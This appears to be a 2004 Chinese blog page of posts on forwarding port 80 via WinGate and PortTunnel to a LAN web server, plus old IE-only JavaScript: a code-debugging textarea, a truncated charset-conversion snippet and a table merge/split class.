4,如何设置wingate在局域网内架设web服务器? -------------------------------------------------------------------------------- 以架设web server为例: 1. 开启GateKeeper,在左面点击WWW Proxy Service,按鼠标右键,进入WWW Proxy Service的属性页,在General页中将Service端口设置发布Web所使用的端口,一般为80,这样Wingate开放了一个80端口的HTTP代理服务。 2. 进入Bindings页,选择第一个选项即Allow Connections coming in on any internet connections。 3. 重要的是在Non-Proxy Requests页,默认是选择了Reject Request,把它改为Pipe request through to predetermined。在下面Server和Port栏中,填局域网中内部提供Web服务的机器的IP地址和端口(比如192.168.0.10,80)。 这样,Wingate就将外部对80端口的HTTP请求转发到局域网中IP地址为192.168.0.10这台电脑的80端口去。只要192.168.0.80电脑的IIS正确设置了80端口的Web服务,就能被局域网外部访问到。 4. 确定并保存。 5,如何用PortTunnel做端口转发在局域网内架设web服务器? -------------------------------------------------------------------------------- 以架设web server为例,网关地址192.168.0.1,web server的内网地址为192.168.0.10: 1,首先,在192.168.0.1上没有占用80端口; 2,在192.168.0.1 上安装“PortTunnel”软件; 3,运行“PortTunnel”软件,在首窗口内点击“Add”按钮; 4,在弹出窗口的“main”里面配置如下: name:web enabled:打勾 port in:80 bind address:any(0.0.0.0) port out:80 address out:192.168.0.10 5,点击“OK”按钮保存就可以了。
shelly 发表于
2004-05-08 14:12:23
<HTML> <HEAD> <TITLE>Debug Textarea</TITLE> <meta http-equiv='Content-Type' content='text/html; charset=gb2312'> </HEAD> <style> * { font-size: 12px } body { margin: 10px; padding: 0px } table.list{ cursor: default; border:1px solid #cccccc background-color: #cccccc; border-collapse: collapse; border-Color: #cccccc; } </style> <script language="javascript"> // Coded by windy_sk <windy_sk@126.com > 20040205
function reportError(msg,url,line) { var str = "You have found an error as below: \n\n"; str += "Err: " + msg + " on line: " + line; alert(str); return true; }
window.onerror = reportError;
document.onkeydown = function() { if(event.ctrlKey){ switch(event.keyCode) { case 82: //r runcode(); break; case 83: //s savecode(); break; case 71: //g goto(prompt('Please input the line number', '1')); break; case 65: //a document.execCommand("SelectAll"); break; case 67: //c document.execCommand("Copy"); break; case 88: //x document.execCommand("Cut"); break; case 86: //v document.execCommand("Paste"); break; case 90: //z document.execCommand("Undo"); break; case 89: //y document.execCommand("Redo"); break; default: break; } event.keyCode = 0; event.returnValue = false; } return; }
function show_ln(){ var txt_ln = document.getElementById('txt_ln'); var txt_main = document.getElementById('txt_main'); txt_ln.scrollTop = txt_main.scrollTop; while(txt_ln.scrollTop != txt_main.scrollTop) { txt_ln.value += (i++) + '\n'; txt_ln.scrollTop = txt_main.scrollTop; } return; }
function editTab(){ var code, sel, tmp, r; event.returnValue = false; sel =event.srcElement.document.selection.createRange(); r = event.srcElement.createTextRange();
switch (event.keyCode){ case (8) : if (!(sel.getClientRects().length > 1)){ event.returnValue = true; return; } code = sel.text; tmp = sel.duplicate(); tmp.moveToPoint(r.getBoundingClientRect().left, sel.getClientRects()[0].top); if(sel.parentElement() != tmp.parentElement()) return;; sel.setEndPoint('startToStart', tmp); sel.text = sel.text.replace(/^\t/gm, ''); code = code.replace(/^\t/gm, '').replace(/\r\n/g, '\r'); r.findText(code); r.select(); break; case (9) : if (sel.getClientRects().length > 1){ code = sel.text; tmp = sel.duplicate(); tmp.moveToPoint(r.getBoundingClientRect().left, sel.getClientRects()[0].top); if(sel.parentElement() != tmp.parentElement()) return; sel.setEndPoint('startToStart', tmp); sel.text = '\t'+sel.text.replace(/\r\n/g, '\r\t'); code = code.replace(/\r\n/g, '\r\t'); r.findText(code); r.select(); }else{ sel.text = '\t'; sel.select(); } break case (13) : tmp = sel.duplicate(); tmp.moveToPoint(r.getBoundingClientRect().left, sel.getClientRects()[0].top); if(sel.parentElement() != tmp.parentElement()) return; tmp.setEndPoint('endToEnd', sel); sel.text = '\r\n' + tmp.text.replace(tmp.text.replace(/^[\t ]+/g, ""),""); sel.select(); break; default : event.returnValue = true; break; } return; }
function runcode() { var str = document.getElementById("txt_main").value; var code_win = window.open('about:blank'); code_win.document.open(); code_win.document.writeln("<script>"); code_win.document.writeln("function reportError(msg,url,line){\nline-=14;\nvar str='You have found an error as below: \\n\\n';\nstr+='Err : '+msg+' on line: '+(line);\nalert(str);\nopener.goto(line);\nopener.focus();\nwindow.onerror=null;\nsetTimeout('self.close()',10);\nreturn true;\n}"); code_win.document.writeln("window.onerror = reportError;"); code_win.document.writeln("<\/script>"); code_win.document.writeln(str); code_win.document.close(); return; }
function savecode() { var str = document.getElementById("txt_main").value; var code_win = window.open('about:blank','_blank','top=10000'); code_win.document.open(); code_win.document.writeln(str); code_win.document.close(); code_win.document.execCommand('saveas','','code.html'); code_win.close(); return; }
function goto(ln) { if(!/^\d+$/.test(ln) || ln==0) return; var obj = document.getElementById("txt_main"); var rng = obj.createTextRange(); var arr = obj.value.split(/\n/); if(ln>arr.length) ln = arr.length; var str_tmp = ""; for(var i=0; i<ln-1; i++) { str_tmp += arr[i]; } rng.moveStart('character',str_tmp.length); str_tmp = ""; for(i=ln; i<arr.length; i++) { str_tmp += arr[i]; } rng.moveEnd('character',-str_tmp.length); rng.select(); return; }
window.onload = function() {document.getElementById("txt_main").value = "<script>\nalert(')\n<\/script>";} </script> <table width='600' class='list' border='1' bgcolor='#eeeeee' bordercolorlight='#000000' bordercolordark='#FFFFFF' cellpadding='0' cellspacing='0'> <tr bgcolor='#cccccc'> <td colspan='2' height='20' align='center'><b>Debug Textarea</b></td> </tr> <tr> <td colspan='2'> <table width='95%' border='0' align='center' > <tr> <td align='center'><br /> <textarea id='txt_ln' name='content' rows='10' style='width:40px;overflow:hidden;height:200px;border-right:0px;text-align:right;line-height:14px' onselectstart='this.nextSibling.focus();return false' readonly></textarea><textarea id='txt_main' name='content' rows='10' cols='80' onkeydown='editTab()' onkeyup='show_ln()' onscroll='show_ln()' wrap='off' style='overflow:auto;height:200px;padding-left:5px;border-left:0px;line-height:14px'></textarea> <script>for(var i=1; i<=20; i++) document.getElementById('txt_ln').value += i + '\n';</script> </td> </tr> <tr> <td align='center'><br /> <input type='button' value=' 运 行 ' onclick='runcode()' accesskey='r'> <input type='button' value=' 保 存 ' onclick='savecode()' accesskey='s'> <input type='button' value=' 跳 转 ' onclick="goto(prompt('Please input the line number', '1'))" accesskey='g'> </td> </tr> </table> </td> </tr> </table>
shelly 发表于
2004-05-07 14:01:13
<body> <div id=xxx></div> <script language="JavaScript">
function charsetConvert(str,oldCharset,newCharset){ var stream=new ActiveXObject("ADODB.Stream"); stream.type=2; stream.Mode=0; stream.Open(); stream.Charset=newCharset; stream.WriteText(str); stream.Position= 0; stream.Type= 2; stream.Charset=oldCharset; var s=stream.ReadText(); stream.Close(); return s; } var t=new Date(); xxx.innerHTML+=charsetConvert("UTF-8涓
shelly 发表于
2004-05-07 12:55:04
shelly 发表于
2004-05-03 11:43:18
shelly 发表于
2004-05-01 01:44:36
<script language="JavaScript" type="text/JavaScript"> /*--------------------------------------------------------------------------- 表格、单元格操作类 作者:龙卫国 user:lwg888 email:lwg888@163.com 时间:2004-2-17 功能: 合并单元格,拆分单元格,向上插入行,向下插入行,向左插入列, 向右插入列,删除行,删除列 设计思路: 将表格按总行与总列数进行网状分割,为每个座标网格找到对应的单元格, 这样,在操作过程中就可以随时找出每个单元格的位置及属性 适用IE5.0以上 转载请保留作者信息 -----------------------------------------------------------------------------*/
function LwgTable(){ this.tdobj; this.trobj; this.tblobj; this.xy=new Array(); this.x; this.y; }
function tmpObj (x,y,obj) { this.x = x; this.y = y; this.obj = obj; }
LwgTable.prototype.getObj=function(){ var tdobj=document.selection.createRange().parentElement(); if (!tdobj || tdobj.tagName != "TD")return false; var trobj=tdobj.parentElement; if (!trobj || trobj.tagName != "TR")return false; var tblobj=trobj.parentElement.parentElement; if (!tblobj || tblobj.tagName != "TABLE")return false; this.tdobj=tdobj; this.trobj=trobj; this.tblobj=tblobj; return true; }
LwgTable.prototype.setxy=function(){ for (var i=0;i<this.tblobj.rows.length;i++) this.xy[i]=new Array(); for (var i=0;i<this.tblobj.rows.length;i++){ var tmp_row=this.tblobj.rows[i]; var tmp_y=0; for (var n=0;n<tmp_row.cells.length;n++){ var tmp_cell=tmp_row.cells[n]; if (this.tdobj==tmp_cell){ this.x=i; tmp_y=this.y=this.findy(i,tmp_y); } for (var c=0;c<tmp_cell.colSpan;c++){ for (var r=0;r<tmp_cell.rowSpan;r++){ var tmp_ir=i+r; var tmp_y=this.findy(tmp_ir,tmp_y); if (c==0 && r==0) var tmp_obj=new tmpObj(i,tmp_y,tmp_cell); this.xy[tmp_ir][tmp_y]=tmp_obj; } } tmp_y++; } } }
LwgTable.prototype.findy=function(x,y){ if (!this.xy[x][y])return y; else return this.findy(x,y+1); }
LwgTable.prototype.mergeCell = function (what){ switch (what){ case "up": var tmp_obj=this.checkToMerge(-1,0); if (!tmp_obj)return false; if (this.tdobj.innerHTML != " ")tmp_obj.obj.innerHTML+=this.tdobj.innerHTML; tmp_obj.obj.rowSpan+=this.dropCell(this.trobj.rowIndex,this.tdobj.cellIndex,'r'); break; case "down": var tmp_obj=this.checkToMerge(this.tdobj.rowSpan,0); if (!tmp_obj)return false; if (tmp_obj.obj.innerHTML != " ")this.tdobj.innerHTML+=tmp_obj.obj.innerHTML; this.tdobj.rowSpan+=this.dropCell(this.trobj.rowIndex+this.tdobj.rowSpan,tmp_obj.obj.cellIndex,'r'); break; case "left": var tmp_obj=this.checkToMerge(0,-1); if (!tmp_obj)return false; if (this.tdobj.innerHTML != " ")tmp_obj.obj.innerHTML+=this.tdobj.innerHTML; tmp_obj.obj.colSpan+=this.dropCell(this.trobj.rowIndex,this.tdobj.cellIndex,'c'); break; case "right": var tmp_obj=this.checkToMerge(0,this.tdobj.colSpan); if (!tmp_obj)return false; if (tmp_obj.obj.innerHTML != " ")this.tdobj.innerHTML+=tmp_obj.obj.innerHTML; this.tdobj.colSpan+=this.dropCell(this.trobj.rowIndex,this.tdobj.cellIndex+1,'c'); break; default : break; } }
LwgTable.prototype.checkToMerge = function (x,y){ if (!this.xy[this.x+x])return false; var tmp_obj=this.xy[this.x+x][this.y+y]; if (!tmp_obj)return false; if (x!=0){ if (tmp_obj.y!=this.y || tmp_obj.obj.colSpan!=this.tdobj.colSpan)return false; } else if (y != 0){ if (tmp_obj.x!=this.x || tmp_obj.obj.rowSpan!=this.tdobj.rowSpan)return false; } return tmp_obj; }
LwgTable.prototype.dropCell=function (x,y,kind){ var trobj=this.tblobj.rows[x]; if (!trobj)return false; var rowspans=trobj.cells[y].rowSpan; var colspans=trobj.cells[y].colSpan; trobj.deleteCell(y); if (kind=="r")return rowspans; else if (kind=="c")return colspans; }
LwgTable.prototype.changeRowspan = function (x,num){ var y=0; while (y<this.xy[x].length){ var tmp=this.xy[x][y]; if (tmp.obj.rowSpan > 1){ tmp.obj.rowSpan+=num; } y+=tmp.obj.colSpan; } }
LwgTable.prototype.insertRow = function (what,num){ var x = this.x; var x1 = (what=='up') ? x : (x + 1); if (x1==this.tblobj.rows.length){ for (var n=0;n<num;n++){ var newRow=this.tblobj.insertRow(x1); var lastxy=this.xy[this.xy.length-1]; var i=0; while (i<lastxy.length){ var newCell=newRow.insertCell(); newCell.innerHTML=" "; newCell.mergeAttributes(lastxy[i].obj); newCell.rowSpan=1 i+=lastxy[i].obj.colSpan; } } return true; } for (var n=0;n<num;n++){ var trobj=this.tblobj.rows[x]; var newRow=this.tblobj.insertRow(x1); var delcell=new Array(); for(var i=0;i<trobj.cells.length;i++){ if (trobj.cells[i].rowSpan==1){ var newCell=newRow.insertCell(); newCell.innerHTML=" "; newCell.mergeAttributes(trobj.cells[i]) } else if (what=='up'){ var newCell=newRow.insertCell(); trobj.cells[i].rowSpan+=1; newCell.innerHTML=trobj.cells[i].innerHTML; delcell[i]=1; newCell.mergeAttributes(trobj.cells[i]) } } var deli=0; for (i in delcell){ trobj.deleteCell(i-deli); deli++; } } this.changeRowspan(this.x,num); }
LwgTable.prototype.deleteRow = function (){ if (this.trobj.rowIndex==this.tblobj.rows.length-1){ this.tblobj.deleteRow(this.trobj.rowIndex); return true; } var y=0; while (y<this.xy[this.x].length){ var tmp_obj=this.xy[this.x][y].obj; if (tmp_obj.rowSpan > 1){ tmp_obj.rowSpan-=1; if (tmp_obj.parentElement.rowIndex == this.x){ if (tmp_obj.cellIndex<this.trobj.cells.length-1)var cellIndex=this.xy[this.x+1][y+tmp_obj.colSpan].obj.cellIndex; else var cellIndex=this.tblobj.rows[this.x+1].cells.length; newCell=this.tblobj.rows[this.x+1].insertCell(cellIndex) newCell.replaceNode(tmp_obj); } } y+=tmp_obj.colSpan; } this.tblobj.deleteRow(this.trobj.rowIndex); }
LwgTable.prototype.deleteCol = function (){ var x=0; while (x<this.xy.length){ var tmp_obj=this.xy[x][this.y].obj; x+=tmp_obj.rowSpan if (tmp_obj.colSpan==1){ tmp_obj.parentElement.deleteCell(tmp_obj.cellIndex); } else tmp_obj.colSpan-=1; } }
LwgTable.prototype.insertCol = function (what,num){ var x=0; while (x<this.xy.length){ var tmp_obj=this.xy[x][this.y].obj; x+=tmp_obj.rowSpan if (tmp_obj.colSpan==1){ var cellIndex=(what=="right")?(tmp_obj.cellIndex+1):tmp_obj.cellIndex; for (var n=0;n<num;n++){ var newCell=tmp_obj.parentElement.insertCell(cellIndex); newCell.innerHTML=" "; newCell.mergeAttributes(tmp_obj) } } else tmp_obj.colSpan+=num; } }
LwgTable.prototype.rowSplit = function (num){ if (num<2)return false; while (num>1){ var y=0; var tmp_x=this.x+this.tdobj.rowSpan-1; var tmp_index=0; while (y<this.xy[tmp_x].length){ var tmp_obj=this.xy[tmp_x][y] if(this.tdobj.rowSpan>1){ if (tmp_obj.obj==this.tdobj){ var newCell=this.tblobj.rows[tmp_x].insertCell(tmp_index); newCell.innerHTML=" "; newCell.mergeAttributes(this.tdobj) newCell.rowSpan=1 } if (tmp_x==tmp_obj.x)tmp_index++; } else { if (tmp_obj.obj==this.tdobj){ var newRow=this.tblobj.insertRow(this.x+1); var newCell=newRow.insertCell(0); newCell.innerHTML=" "; } else tmp_obj.obj.rowSpan+=1; } y+=tmp_obj.obj.colSpan; } if(this.tdobj.rowSpan>1)this.tdobj.rowSpan-=1 num-=1 } }
LwgTable.prototype.colSplit = function (num){ var x=0; while (x<this.xy.length){ var tmp_obj=this.xy[x][this.y].obj; x+=tmp_obj.rowSpan if (tmp_obj==this.tdobj){ for (var n=0;n<num;n++){ var newCell=tmp_obj.parentElement.insertCell(this.tdobj.cellIndex); newCell.innerHTML=" "; newCell.mergeAttributes(tmp_obj) } } else tmp_obj.colSpan+=num; } }
function table_change(){ var t=new LwgTable(); if (!t.getObj())return false; t.setxy(); var args=table_change.arguments; switch (args[0]){ case "insertrow_up": t.insertRow('up',args[1]) break case "insertrow_down": t.insertRow('down',args[1]) break case "deleterow": t.deleteRow() break case "deletecol": t.deleteCol() break case "insertcol_left": t.insertCol('left',args[1]) break case "insertcol_right": t.insertCol('right',args[1]) break case "rowsplit": t.rowSplit(args[1]) break case "colsplit": t.colSplit(args[1]) break case "merge": t.mergeCell(args[1]); break default: break; } }
</script> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <table border="0" cellpadding="5" cellspacing="1" bgcolor="#999999"> <tr bgcolor="#FFFFFF"> <td align="right" bgcolor="#efefef">合并单元格</td> <td><input type="button" name="Submit2" value="向上" onClick="table_change('merge','up')"> <input type="button" name="Submit22" value="向下" onClick="table_change('merge','down')"> <input type="button" name="Submit23" value="向左" onClick="table_change('merge','left')"> <input type="button" name="Submit24" value="向右" onClick="table_change('merge','right')"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="right" bgcolor="#efefef">拆分单元格</td> <td><input type="button" name="Submit2424" value="拆成3行" onClick="table_change('rowsplit',3)"> <input type="button" name="Submit24242" value="拆成2列" onClick="table_change('colsplit',2)"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="right" bgcolor="#efefef">插入行</td> <td><input type="button" name="Submit242" value="向上插入3行" onClick="table_change('insertrow_up',3)"> <input type="button" name="Submit2422" value="向下插入2行" onClick="table_change('insertrow_down',2)"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="right" bgcolor="#efefef">插入列</td> <td><input type="button" name="Submit2423" value="向左插入3列" onClick="table_change('insertcol_left',3)"> <input type="button" name="Submit24223" value="向右插入2列" onClick="table_change('insertcol_right',2)"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="right" bgcolor="#efefef">删除行</td> <td><input type="button" name="Submit24222" value="删除行" onClick="table_change('deleterow')"></td> </tr> <tr bgcolor="#FFFFFF"> <td align="right" bgcolor="#efefef">删除列</td> <td><input type="button" name="Submit242222" value="删除列" onClick="table_change('deletecol')"></td> </tr> </table> 使用方式:先在单元格中建立一个选区,再点击上面按钮<br> <table width="100%" border="1"> <tr> <td colspan="2">1</td> <td>2</td> <td>3</td> </tr> <tr> <td bgcolor="#CCCCCC"> </td> <td rowspan="2">47</td> <td>5</td> <td>6</td> </tr> <tr> <td rowspan="3">45</td> <td>8</td> <td bgcolor="#CCCCCC">9</td> </tr> <tr> <td rowspan="3">10</td> <td bgcolor="#FFFFCC">11</td> <td rowspan="2">1214</td> </tr> <tr> <td bgcolor="#CCCCCC">13</td> </tr> <tr> <td>123</td> <td bgcolor="#CCCCCC"> </td> <td>6</td> </tr> </table>
使用方式:先在单元格中建立一个选区,再点击上面按钮
1
2
3
47
5
6
45
8
9
10
11
1214
13
123
6
shelly 发表于
2004-04-29 13:14:54